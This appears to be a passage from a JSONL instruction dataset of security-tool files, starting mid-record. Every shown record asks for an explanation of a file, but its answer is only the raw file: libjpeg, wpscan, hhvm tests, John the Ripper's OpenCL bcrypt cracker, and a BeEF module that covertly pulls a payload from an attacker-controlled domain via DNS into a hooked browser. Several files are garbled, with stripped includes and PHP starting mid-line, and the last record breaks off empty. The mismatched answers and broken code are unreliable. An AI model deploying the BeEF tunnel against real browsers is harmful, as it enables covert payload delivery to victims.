(ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n\t ci++, compptr++) {\n access_rows = compptr->v_samp_factor;\n#ifdef BLOCK_SMOOTHING_SUPPORTED\n /* If block smoothing could be used, need a bigger window */\n if (cinfo->progressive_mode)\n\taccess_rows *= 3;\n#endif\n coef->whole_image[ci] = (*cinfo->mem->request_virt_barray)\n\t((j_common_ptr) cinfo, JPOOL_IMAGE, TRUE,\n\t (JDIMENSION) jround_up((long) compptr->width_in_blocks,\n\t\t\t\t(long) compptr->h_samp_factor),\n\t (JDIMENSION) jround_up((long) compptr->height_in_blocks,\n\t\t\t\t(long) compptr->v_samp_factor),\n\t (JDIMENSION) access_rows);\n }\n coef->pub.consume_data = consume_data;\n coef->pub.decompress_data = decompress_data;\n coef->pub.coef_arrays = coef->whole_image; /* link to virtual arrays */\n#else\n ERREXIT(cinfo, JERR_NOT_COMPILED);\n#endif\n } else {\n /* We only need a single-MCU buffer. */\n JBLOCKROW buffer;\n int i;\n\n buffer = (JBLOCKROW)\n (*cinfo->mem->alloc_large) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n\t\t\t\t D_MAX_BLOCKS_IN_MCU * SIZEOF(JBLOCK));\n for (i = 0; i < D_MAX_BLOCKS_IN_MCU; i++) {\n coef->MCU_buffer[i] = buffer + i;\n }\n coef->pub.consume_data = dummy_consume_data;\n coef->pub.decompress_data = decompress_onepass;\n coef->pub.coef_arrays = NULL; /* flag for no virtual arrays */\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:39485"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/wc-advanced-paypal-payments/change_log/changelog.txt' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "*** Changelog ***\n\n= 3.0.2 - 2023-3-2 =\n* Enhancement - Update the plugin to meet the guidance of Wordpress structure & compliance according to Wordpress team's great feedback.\n\n= 3.0.1 - 2023-2-18 =\n* Add - New Feature - Seller protection - Integrated with PayPal seller protection more seamlessly. The shop owner can input shipping infor to minimize claims and chargebacks and help prevent merchant fraud.\n* Add - Support web – Create support site https://paypal.uin88.com for the customer to get support & document more easily so that the plugin is not just for big key account customer but also all the user who want to use it.\n\n= 2.0.0 - 2022-6-8 =\n* Enhancement - Backend interface – Improve backend interace for more users\n* Enhancement - Frontend - On single product page & cart page, if it displays default PayPal icons, after the payment is done, the customers will be redirected back to checkout and there could be addtional shipping feeds.\n* Fixed – Process existing orders not paid could cause shipping fee issue.\n\n= 1.0.0 - 2022-1-28 =\n* Initial release for offline key account usage.", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:61307"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/utils/files_to_ignore.rs' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "// Copyright (c) Meta Platforms, Inc. and affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the \"hack\" directory of this source tree.\n\nuse std::path::Path;\n\nuse regex::bytes::RegexSet;\n\n// These VCS paths are already omitted from our Watchman Subscription, but we\n// also index the repo without using Watchman in some tools. Hardcode these to\n// be filtered away for the non-Watchman use cases.\nstatic VCS_REGEX: &str = r\"[.](hg|git|svn)/.*\";\n\nstatic PHPUNIT_RE: &str = r\".*flib/intern/third-party/phpunit/phpunit.*\\.phpt\";\n\npub struct FilesToIgnore {\n regexes: RegexSet,\n}\n\nimpl Default for FilesToIgnore {\n fn default() -> Self {\n Self {\n regexes: RegexSet::new([VCS_REGEX, PHPUNIT_RE].into_iter()).unwrap(),\n }\n }\n}\n\nimpl FilesToIgnore {\n pub fn new(regexes_to_ignore: &[String]) -> Result {\n Ok(Self {\n regexes: RegexSet::new(\n [VCS_REGEX, PHPUNIT_RE]\n .into_iter()\n .chain(regexes_to_ignore.iter().map(String::as_str)),\n )?,\n })\n }\n\n pub fn should_ignore(&self, path: impl AsRef) -> bool {\n let path = path.as_ref();\n self.should_ignore_impl(path)\n }\n\n #[cfg(unix)]\n fn should_ignore_impl(&self, path: &Path) -> bool {\n use std::os::unix::ffi::OsStrExt;\n let path_bytes = path.as_os_str().as_bytes();\n self.regexes.is_match(path_bytes)\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:5551"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/extracted_from_manual/13-contexts-and-capabilities/04-higher-order-functions-01.hack' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "// @generated by hh_manual from manual/hack/13-contexts-and-capabilities/04-higher-order-functions.md\n// @codegen-command : buck run fbcode//hphp/hack/src/hh_manual:hh_manual extract fbcode/hphp/hack/manual/hack/\nfunction has_dependent_fn_arg(\n (function()[_]: void) $f,\n)[ctx $f]: void {\n /* some code */\n $f();\n /* more code */\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:6601"}} -{"instruction": "Explain the purpose and role of 'beef/modules/ipec/s2c_dns_tunnel/command.js' from the beef security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "//\n// Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - http://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\nThis JavaScript retreives data from a server via DNS covert channel.\n\nA remote controlled domain with a custom DNS server implementing covert channel logic is required.\nBeEF supports this feature via Server-to-Client DNS Tunnel extension.\n\nThe initial concept of the DNS covert channell and its implementation are described in the following literature:\n- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf\n- W. Alkorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091 \n\n*/\nbeef.execute(function() {\n\n var payload_name = \"<%= @payload_name %>\";\n var domain = \"<%= @zone %>\";\n var scheme = beef.net.httpproto;\n var port = beef.net.port;\n var cid = \"<%= @command_id %>\";\n var curl = \"<%= @command_url %>\";\n \n var messages = new Array();\n var bits = new Array();\n var bit_transfered = new Array();\n var timing = new Array();\n \n // Do the DNS query by reqeusting an image\n send_query = function(fqdn, msg, byte, bit) {\n var img = new Image;\n var fport = \"\";\n \n if (port !== \"80\") fport = \":\"+port;\n\n img.src = scheme+\"://\" + fqdn + fport + \"/tiles/map\"; \n \n img.onload = function() { // successful load so bit equals 1\n bits[msg][bit] = 1;\n bit_transfered[msg][byte]++;\n if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);\n }\n\n img.onerror = function() { // unsuccessful load so bit equals 0\n bits[msg][bit] = 0;\n bit_transfered[msg][byte]++;\n if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);\n }\n };\n\n\t// Construct DNS names based on Active Directory SRV resource records pattern and resolv them via send_query function\n\t// See http://technet.microsoft.com/en-us/library/cc961719.aspx\n function get_byte(msg, byte) {\n bit_transfered[msg][byte] = 0;\n var rnd8 = getRandomStr(8);\n var rnd12 = getRandomStr(12);\n // Request the byte one bit at a time\n for(var bit=byte*8; bit < (byte*8)+8; bit++){\n // Set the message number (hex)\n msg_str = (\"\" + msg.toString(16)).substr(-8);\n // Set the bit number (hex)\n bit_str = (\"\" + bit.toString(16)).substr(-8);\n // Build the subdomain\n subdomain = \"_ldap._tcp.\" + rnd8 + \"-\" + msg_str + \"-\" + cid + \"-\" + bit_str + \"-\" + rnd12;\n // Build the full domain\n name = subdomain + '.domains._msdcs.'+ domain;\n send_query(name, msg, byte, bit)\n }\n }\n\n // Construct random sring\n function getRandomStr(n){\n return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));\n }\n\n // Build the environment and request the message\n function get_message(msg) {\n // Set variables for getting a message\n messages[msg] = \"\";\n bits[msg] = new Array();\n bit_transfered[msg] = new Array();\n timing[msg] = (new Date()).getTime();\n get_byte(msg, 0);\n }\n\n // Build the data returned from the binary results\n function reconstruct_byte(msg, byte){\n var char = 0;\n // Build the last byte requested\n for(var bit=byte*8; bit < (byte*8)+8; bit++){\n char <<= 1;\n char += bits[msg][bit] ;\n }\n\n // Message is terminated with a null byte (all failed DNS requests)\n if (char != 0) {\n // The message isn't terminated so get the next byte\n messages[msg] += String.fromCharCode(char);\n get_byte(msg, byte+1);\n }\n else {\n // The message is terminated so finish\n delta = ((new Date()).getTime() - timing[msg])/1000;\n bytes_per_second = \"\" +\n ((messages[msg].length + 1) * 8)/delta; \n\n // Save the message in the Window\n if (window.hasOwnProperty(payload_name))\n window[payload_name] = messages[msg]\n else\n Object.defineProperty(window,payload_name, { value: messages[msg],\n writable: true,\n enumerable: false });\n \n beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);\n\n } \n }\n get_message(0); \n});", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:65735"}} -{"instruction": "Explain the purpose and role of 'john-bleeding-jumbo/src/opencl_bf_std_plug.c' from the john-bleeding-jumbo security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n* This software is Copyright (c) 2012 Sayantan Datta \n* and it is hereby released to the general public under the following terms:\n* Redistribution and use in source and binary forms, with or without modification, are permitted.\n* Based on Solar Designer implementation of bf_std.c in jtr-v1.7.8\n*/\n\n#ifdef HAVE_OPENCL\n\n#include \n#include \n#include \n#include \n\n#include \"arch.h\"\n#include \"common.h\"\n#include \"options.h\"\n#include \"opencl_bf_std.h\"\n\n#define INDEX\t\t\t\t[index]\n#define pos_S(row,col)\t\t\t\\\n\t_index_S + (row * 256 + col) * (CHANNEL_INTERLEAVE)\n\n#define for_each_index() \t\t\\\n\tfor (index = 0; index < BF_N; index++)\n\n#define pos_P(i)\t\t\t\\\n _index_P + i\n\nstatic unsigned int \t*BF_current_S ;\nstatic unsigned int \t*BF_current_P ;\nstatic unsigned int \t*BF_init_key ;\nBF_binary \t\t*opencl_BF_out ;\n\ntypedef struct {\n\tcl_mem salt_gpu ;\n\tcl_mem P_box_gpu ;\n\tcl_mem S_box_gpu ;\n\tcl_mem out_gpu ;\n\tcl_mem BF_current_S_gpu ;\n\tcl_mem BF_current_P_gpu ;\n} gpu_buffer;\n\nstatic cl_kernel \tkrnl[MAX_PLATFORMS * MAX_DEVICES_PER_PLATFORM];\nstatic gpu_buffer \tbuffers[MAX_PLATFORMS * MAX_DEVICES_PER_PLATFORM];\n\n#define BF_ROUND(ctx_S, ctx_P, L, R, N, tmp1, tmp2, tmp3, tmp4) \t\\\n\ttmp1 = L & 0xFF ; \t\t\t\t\t\t\\\n\ttmp2 = L >> 8 ; \t\t\t\t\t\t\\\n\ttmp2 &= 0xFF ; \t\t\t\t\t\t\t\\\n\ttmp3 = L >> 16 ; \t\t\t\t\t\t\\\n\ttmp3 &= 0xFF ; \t\t\t\t\t\t\t\\\n\ttmp4 = L >> 24 ; \t\t\t\t\t\t\\\n\ttmp1 = ctx_S[pos_S(3,tmp1)] ; \t\t\t\t\t\\\n\ttmp2 = ctx_S[pos_S(2,tmp2)] ; \t\t\t\t\t\\\n\ttmp3 = ctx_S[pos_S(1,tmp3)] ; \t\t\t\t\t\\\n\ttmp3 += ctx_S[pos_S(0,tmp4)] ; \t\t\t\t\t\\\n\ttmp3 ^= tmp2 ; \t\t\t\t\t\t\t\\\n\tR ^= ctx_P[pos_P((N + 1))] ; \t\t\t\t\t\\\n\ttmp3 += tmp1 ; \t\t\t\t\t\t\t\\\n\tR ^= tmp3 ;\n\n/*\n * Encrypt one block, BF_ROUNDS is hardcoded here.\n */\n#define BF_ENCRYPT(ctx_S, ctx_P, L, R) \t\t\t\t\t\\\n\tL ^= ctx_P[pos_P(0)]; \t\t\t\t\t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 0, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 1, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 2, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 3, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 4, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 5, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 6, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 7, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 8, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 9, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 10, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 11, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 12, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 13, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, L, R, 14, u1, u2, u3, u4) ; \t\t\\\n\tBF_ROUND(ctx_S, ctx_P, R, L, 15, u1, u2, u3, u4) ; \t\t\\\n\tu4 = R ; \t\t\t\t\t\t\t\\\n\tR = L ;\t\t\t\t\t\t\t\t\\\n\tL = u4 ^ ctx_P[pos_P((BF_ROUNDS+1))] ;\n\nstatic void clean_gpu_buffer(gpu_buffer *pThis)\n{\n\tconst char *errMsg = \"Release Memory Object FAILED.\" ;\n\n\tif (pThis->salt_gpu) {\n\t\tHANDLE_CLERROR(clReleaseMemObject(pThis->salt_gpu), errMsg);\n\t\tHANDLE_CLERROR(clReleaseMemObject(pThis-> P_box_gpu), errMsg);\n\t\tHANDLE_CLERROR(clReleaseMemObject(pThis-> S_box_gpu), errMsg);\n\t\tHANDLE_CLERROR(clReleaseMemObject(pThis->out_gpu), errMsg);\n\t\tHANDLE_CLERROR(clReleaseMemObject(pThis->BF_current_S_gpu), errMsg);\n\t\tHANDLE_CLERROR(clReleaseMemObject(pThis->BF_current_P_gpu), errMsg);\n\t}\n}\n\nvoid BF_clear_buffer() {\n\tclean_gpu_buffer(&buffers[gpu_id]);\n\tMEM_FREE(BF_current_S) ;\n\tMEM_FREE(BF_current_P) ;\n\tMEM_FREE(BF_init_key) ;\n\tMEM_FREE(opencl_BF_out) ;\n\n\tif (program[gpu_id]) {\n\t\tHANDLE_CLERROR(clReleaseKernel(krnl[gpu_id]), \"Error releasing kernel\") ;\n\n\t\tHANDLE_CLERROR(clReleaseProgram(program[gpu_id]), \"Error releasing Program\");\n\t}\n}\n\nstatic void find_best_gws(struct fmt_main *fmt) {\n\tstruct timeval \tstart,end ;\n\tdouble \t\tsavetime, diff ;\n\tsize_t\t \tcount = local_work_size;\n\tdouble \t\tspeed = 999999 ;\n\tBF_salt \trandom_salt ;\n\n\trandom_salt.salt[0] = 0x12345678 ;\n\trandom_salt.salt[1] = 0x87654321 ;\n\trandom_salt.salt[2] = 0x21876543 ;\n\trandom_salt.salt[3] = 0x98765432 ;\n\trandom_salt.rounds = 5 ;\n\trandom_salt.subtype = 'x' ;\n\n\tgettimeofday(&start,NULL) ;\n\topencl_BF_std_crypt(&random_salt,count) ;\n\tgettimeofday(&end, NULL) ;\n\tsavetime = (end.tv_sec - start.tv_sec) + (double)(end.tv_usec - start.tv_usec) / 1000000.000;\n\tspeed = ((double)count) / savetime ;\n\n\tdo {\n\t\tcount *= 2 ;\n\t\tif (count > BF_N) {\n\t\t\tcount = count >> 1 ;\n\t\t\tbreak ;\n\t\t}\n\t\tgettimeofday(&start,NULL) ;\n\t\topencl_BF_std_crypt(&random_salt,count) ;\n\t\tgettimeofday(&end, NULL) ;\n\t\tsavetime = (end.tv_sec - start.tv_sec) + (double)(end.tv_usec - start.tv_usec) / 1000000.000 ;\n\t\tdiff = (((double)count) / savetime) / speed ;\n\t\tif (diff < 1) {\n\t\t count = count\t>> 1 ;\n\t\t break ;\n\t\t}\n\t\tdiff = diff - 1 ;\n\t\tdiff = (diff < 0)? (-diff): diff ;\n\t\tspeed = ((double)count) / savetime ;\n\t} while (diff > 0.01) ;\n\n\tfmt->params.max_keys_per_crypt = global_work_size = count;\n}\n\nvoid BF_select_device(struct fmt_main *fmt) {\n\tcl_int \t\terr;\n\tconst char \t*errMsg;\n\tconst int\tlmem_per_th = ((1024 + 4) * sizeof(cl_uint) + 64);\n\tchar\t\tbuildopts[32];\n\n\tBF_current_S = \t(unsigned int*)mem_alloc(BF_N * 1024 * sizeof(unsigned int)) ;\n\tBF_current_P = \t(unsigned int*)mem_alloc(BF_N * 18 * sizeof(unsigned int)) ;\n\tBF_init_key = \t(unsigned int*)mem_alloc(BF_N * 18 * sizeof(unsigned int)) ;\n\topencl_BF_out = (BF_binary*)mem_alloc(BF_N * sizeof(BF_binary)) ;\n\n\tif (!local_work_size)\n\t\tlocal_work_size = DEFAULT_LWS;\n\n\t/* device max, regardless of kernel */\n\tif (local_work_size > get_device_max_lws(gpu_id))\n\t\tlocal_work_size = get_device_max_lws(gpu_id);\n\n\t/* For GPU kernel, our use of local memory sets a limit for LWS.\n\t In extreme cases we even fallback to using CPU kernel. */\n\tif ((get_device_type(gpu_id) != CL_DEVICE_TYPE_CPU) &&\n\t lmem_per_th < get_local_memory_size(gpu_id))\n\t\twhile (local_work_size >\n\t\t get_local_memory_size(gpu_id) / lmem_per_th)\n\t\t\tlocal_work_size >>= 1;\n\n\tif ((get_device_type(gpu_id) == CL_DEVICE_TYPE_CPU) ||\n\t amd_vliw5(device_info[gpu_id]) ||\n\t (get_local_memory_size(gpu_id) < local_work_size * lmem_per_th) ||\n\t (gpu_intel(device_info[gpu_id]) && platform_apple(platform_id)))\n\t{\n\t if (CHANNEL_INTERLEAVE == 1)\n\t\t opencl_init(\"$JOHN/opencl/bf_cpu_kernel.cl\", gpu_id, NULL);\n\t else {\n\t\t fprintf(stderr, \"Please set NUM_CHANNELS and \"\n\t\t \"WAVEFRONT_SIZE to 1 in opencl_bf_std.h\");\n\t\t error();\n\t }\n\t}\n\telse {\n\t\tsnprintf(buildopts, sizeof(buildopts),\n\t\t \"-DWORK_GROUP_SIZE=\"Zu, local_work_size);\n\t\topencl_init(\"$JOHN/opencl/bf_kernel.cl\",\n\t\t gpu_id, buildopts);\n\t}\n\n\tkrnl[gpu_id] = clCreateKernel(program[gpu_id], \"blowfish\", &err) ;\n\tif (err) {\n\t\tfprintf(stderr, \"Create Kernel blowfish FAILED\\n\") ;\n\t\treturn ;\n\t}\n\n\t/* This time we ask about max size for this very kernel */\n\tif (local_work_size > get_kernel_max_lws(gpu_id, krnl[gpu_id]))\n\t\tlocal_work_size =\n\t\t\tget_kernel_max_lws(gpu_id, krnl[gpu_id]);\n\n\terrMsg = \"Create Buffer Failed\" ;\n\n\tbuffers[gpu_id].salt_gpu = clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, 4 * sizeof(cl_uint), NULL, &err) ;\n\tif (buffers[gpu_id].salt_gpu == (cl_mem)0)\n\t\tHANDLE_CLERROR(err, errMsg) ;\n\n\tbuffers[gpu_id].P_box_gpu = clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY|CL_MEM_COPY_HOST_PTR, sizeof(cl_uint) * 18, BF_init_state.P, &err) ;\n\tif (buffers[gpu_id].P_box_gpu == (cl_mem)0)\n\t\tHANDLE_CLERROR(err, errMsg) ;\n\n\tbuffers[gpu_id].S_box_gpu = clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY|CL_MEM_COPY_HOST_PTR, sizeof(cl_uint) * 1024, BF_init_state.S, &err) ;\n\tif (buffers[gpu_id].S_box_gpu==(cl_mem)0)\n\t\tHANDLE_CLERROR(err, errMsg) ;\n\n\tbuffers[gpu_id].out_gpu = clCreateBuffer(context[gpu_id], CL_MEM_READ_WRITE, BF_N * sizeof(cl_uint) * 2, NULL, &err) ;\n\tif (buffers[gpu_id].out_gpu == (cl_mem)0)\n\t\tHANDLE_CLERROR(err, errMsg) ;\n\n\tbuffers[gpu_id].BF_current_S_gpu = clCreateBuffer(context[gpu_id], CL_MEM_READ_WRITE, BF_N * 1024 * sizeof(unsigned int), NULL, &err) ;\n\tif (buffers[gpu_id].BF_current_S_gpu == (cl_mem)0)\n\t\tHANDLE_CLERROR(err, errMsg) ;\n\n\tbuffers[gpu_id].BF_current_P_gpu = clCreateBuffer(context[gpu_id], CL_MEM_READ_WRITE, BF_N * sizeof(unsigned int) * 18, NULL, &err) ;\n\tif (buffers[gpu_id].BF_current_P_gpu==(cl_mem)0)\n\t\tHANDLE_CLERROR(err, errMsg) ;\n\n\tHANDLE_CLERROR(clSetKernelArg(krnl[gpu_id], 0, sizeof(cl_mem), &buffers[gpu_id].salt_gpu), \"Set Kernel Arg FAILED arg0\") ;\n\tHANDLE_CLERROR(clSetKernelArg(krnl[gpu_id], 1, sizeof(cl_mem), &buffers[gpu_id].P_box_gpu), \"Set Kernel Arg FAILED arg1\") ;\n\tHANDLE_CLERROR(clSetKernelArg(krnl[gpu_id], 2, sizeof(cl_mem), &buffers[gpu_id].out_gpu), \"Set Kernel Arg FAILED arg2\") ;\n\tHANDLE_CLERROR(clSetKernelArg(krnl[gpu_id], 3, sizeof(cl_mem), &buffers[gpu_id].BF_current_S_gpu), \"Set Kernel Arg FAILED arg3\") ;\n\tHANDLE_CLERROR(clSetKernelArg(krnl[gpu_id], 4, sizeof(cl_mem), &buffers[gpu_id].BF_current_P_gpu), \"Set Kernel Arg FAILED arg4\");\n\tHANDLE_CLERROR(clSetKernelArg(krnl[gpu_id], 6, sizeof(cl_mem), &buffers[gpu_id].S_box_gpu), \"Set Kernel Arg FAILED arg6\") ;\n\n\tif (global_work_size) {\n\t\tglobal_work_size = MIN(global_work_size / local_work_size * local_work_size, BF_N);\n\t\tfmt->params.max_keys_per_crypt = global_work_size;\n\t} else\n\t\tfind_best_gws(fmt);\n\n\tif (ocl_always_show_ws || !self_test_running) {\n\t\tif (options.node_count)\n\t\t\tfprintf(stderr, \"%u: \", NODE);\n\t\tfprintf(stderr, \"LWS=\"Zu\" GWS=\"Zu\" (\"Zu\" blocks)%c\",\n\t\t local_work_size, global_work_size, global_work_size / local_work_size,\n\t\t (options.flags & FLG_TEST_CHK) ? ' ' : '\\n');\n\t}\n\n\tfmt->params.min_keys_per_crypt = opencl_calc_min_kpc(local_work_size, global_work_size, 1);\n}\n\nvoid opencl_BF_std_set_key(char *key, int index, int sign_extension_bug) {\n\tchar \t*ptr = key ;\n\tint \ti, j, _index_P = index * 18 ;\n\tBF_word tmp ;\n\n\tfor (i = 0; i < BF_ROUNDS + 2; i++) {\n\t\ttmp = 0 ;\n\t\tfor (j = 0; j < 4; j++) {\n\t\t\ttmp <<= 8 ;\n\t\t\tif (sign_extension_bug)\n\t\t\t\ttmp |= (int)(signed char)*ptr ;\n\t\t\telse\n\t\t\t\ttmp |= (unsigned char)*ptr ;\n\n\t\t\tif (!*ptr) ptr = key ; else ptr++ ;\n\t\t}\n\n\t\tBF_init_key[pos_P(i)] = BF_init_state.P[i] ^ tmp ;\n\t}\n}\n\nvoid exec_bf(cl_uint *salt_api, cl_uint *BF_out, cl_uint rounds, int n) {\n\tcl_event \tevnt ;\n\tcl_int \t\terr ;\n\tsize_t \t\tN, M = local_work_size;\n\tdouble \t\ttemp ;\n\tconst char \t*errMsg ;\n\n\ttemp = log((double)n) / log((double)2) ;\n\tn = (int)temp ;\n\n\t///Make sure amount of work isn't unnecessarily doubled\n\tif ((temp - n) != 0) {\n\t\tif ((temp - n) < 0.00001)\n\t\t\tn = (int)pow((double)2, (double)n) ;\n\t\telse if ((n + 1 - temp) < 0.00001)\n\t\t\tn = (int)pow((double)2, (double)n) ;\n\t\telse\n\t\t\tn = (int)pow((double)2, (double)(n+1)) ;\n\t}\n\n\telse\n\t\tn = (int)pow((double)2, (double)n) ;\n\n\tn = (n > BF_N)? BF_N: n ;\n\tn = (n < (2*M))? 2*M: n ;\n\n\tif (CL_DEVICE_TYPE_CPU == get_device_type(gpu_id))\n\t\tN = n/2 ; ///Two hashes per crypt call for cpu\n\telse\n\t\tN = n ;\n\n\t/* N has to be a multiple of M */\n\tN = (N + M - 1) / M * M;\n\n\terrMsg = \"Copy data to device: Failed\" ;\n\n\tHANDLE_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], buffers[gpu_id].salt_gpu, CL_TRUE, 0, 4 * sizeof(cl_uint), salt_api, 0, NULL, NULL ), errMsg) ;\n\tHANDLE_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], buffers[gpu_id].BF_current_P_gpu, CL_TRUE, 0, BF_N*sizeof(unsigned int)*18, BF_init_key, 0, NULL, NULL ), errMsg) ;\n\tHANDLE_CLERROR(clSetKernelArg(krnl[gpu_id], 5, sizeof(cl_uint), &rounds),\"Set Kernel Arg FAILED arg5\");\n\n\terr = clEnqueueNDRangeKernel(queue[gpu_id], krnl[gpu_id], 1, NULL, &N, &M, 0, NULL, &evnt) ;\n\tHANDLE_CLERROR(err, \"Enqueue Kernel Failed\") ;\n\n\tHANDLE_CLERROR(clWaitForEvents(1, &evnt), \"Sync :FAILED\") ;\n\tclReleaseEvent(evnt);\n\n\terrMsg = \"Read data from device: Failed\" ;\n\tHANDLE_CLERROR(clEnqueueReadBuffer(queue[gpu_id], buffers[gpu_id].out_gpu, CL_FALSE, 0, 2 * BF_N * sizeof(cl_uint), BF_out, 0, NULL, NULL), errMsg) ;\n\tHANDLE_CLERROR(clEnqueueReadBuffer(queue[gpu_id], buffers[gpu_id].BF_current_P_gpu, CL_FALSE, 0, BF_N * sizeof(unsigned int) * 18, BF_current_P, 0, NULL, NULL), errMsg) ;\n\tHANDLE_CLERROR(clEnqueueReadBuffer(queue[gpu_id], buffers[gpu_id].BF_current_S_gpu, CL_TRUE, 0, BF_N * 1024 * sizeof(unsigned int), BF_current_S, 0, NULL, NULL), errMsg) ;\n\n\tHANDLE_CLERROR(clFinish(queue[gpu_id]), \"Finish Error\") ;\n}\n\nvoid opencl_BF_std_crypt(BF_salt *salt, int n)\n{\n\tint \t\t\tindex=0,j ;\n\tstatic unsigned int \tsalt_api[4] ;\n\tunsigned int \t\trounds = salt->rounds ;\n\tstatic unsigned int \tBF_out[2*BF_N] ;\n\n\tsalt_api[0] = salt->salt[0] ;\n\tsalt_api[1] = salt->salt[1] ;\n\tsalt_api[2] = salt->salt[2] ;\n\tsalt_api[3] = salt->salt[3] ;\n\n\texec_bf(salt_api, BF_out, rounds, n) ;\n\n\tfor_each_index(){ j=2*index ;\n\t\t opencl_BF_out INDEX[0] = BF_out[j++] ;\n\t\t opencl_BF_out INDEX[1] = BF_out[j] ;\n\t}\n\n}\n\nvoid opencl_BF_std_crypt_exact(int index) {\n\tBF_word L, R;\n\tBF_word u1, u2, u3, u4;\n\tBF_word count;\n\tint \ti, _index_S = (index / (CHANNEL_INTERLEAVE)) * (CHANNEL_INTERLEAVE) * 1024 + index % (CHANNEL_INTERLEAVE),\n\t\t_index_P = index * 18 ;\n\n\tmemcpy(&opencl_BF_out[index][2], &BF_magic_w[2], sizeof(BF_word) * 4) ;\n\n\tcount = 64 ;\n\tdo\n\tfor (i = 2; i < 6; i += 2) {\n\t\tL = opencl_BF_out[index][i] ;\n\t\tR = opencl_BF_out[index][i + 1] ;\n\t\tBF_ENCRYPT(BF_current_S,BF_current_P, L, R) ;\n\t\topencl_BF_out[index][i] = L ;\n\t\topencl_BF_out[index][i + 1] = R ;\n\t} while (--count) ;\n\n/* This has to be bug-compatible with the original implementation :-) */\n\topencl_BF_out[index][5] &= ~(BF_word)0xFF ;\n}\n\n#endif /* HAVE_OPENCL */", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:33544"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/reflection/get_closure_scope_class.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "getClosureScopeClass();\n\n var_dump(get_class($res));\n var_dump($res->getName());\n }\n\n public static function s_fn() :mixed{\n $fn = function () { throw new Exception('not reached'); };\n $res = (new ReflectionFunction($fn))->getClosureScopeClass();\n\n var_dump(get_class($res));\n var_dump($res->getName());\n }\n}\n\nclass D extends C {\n public function __construct() {\n static::s_fn();\n }\n}\n\n\n<<__EntryPoint>>\nfunction main_get_closure_scope_class() :mixed{\n$fn = function () { throw new Exception('not reached'); };\nvar_dump((new ReflectionFunction($fn))->getClosureScopeClass());\n\n$c = new C;\nC::s_fn();\n$d = new D;\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:23984"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/coeffects/write_props/arithmetic-op-error-5.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "prop_num /= 4; // No error\n}\n\nfunction pure_function(Foo $x)[] : void {\n $x->prop_num /= 4; // Error\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:19207"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/server/http/tests/requesIdTest.php.hphp_opts' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": 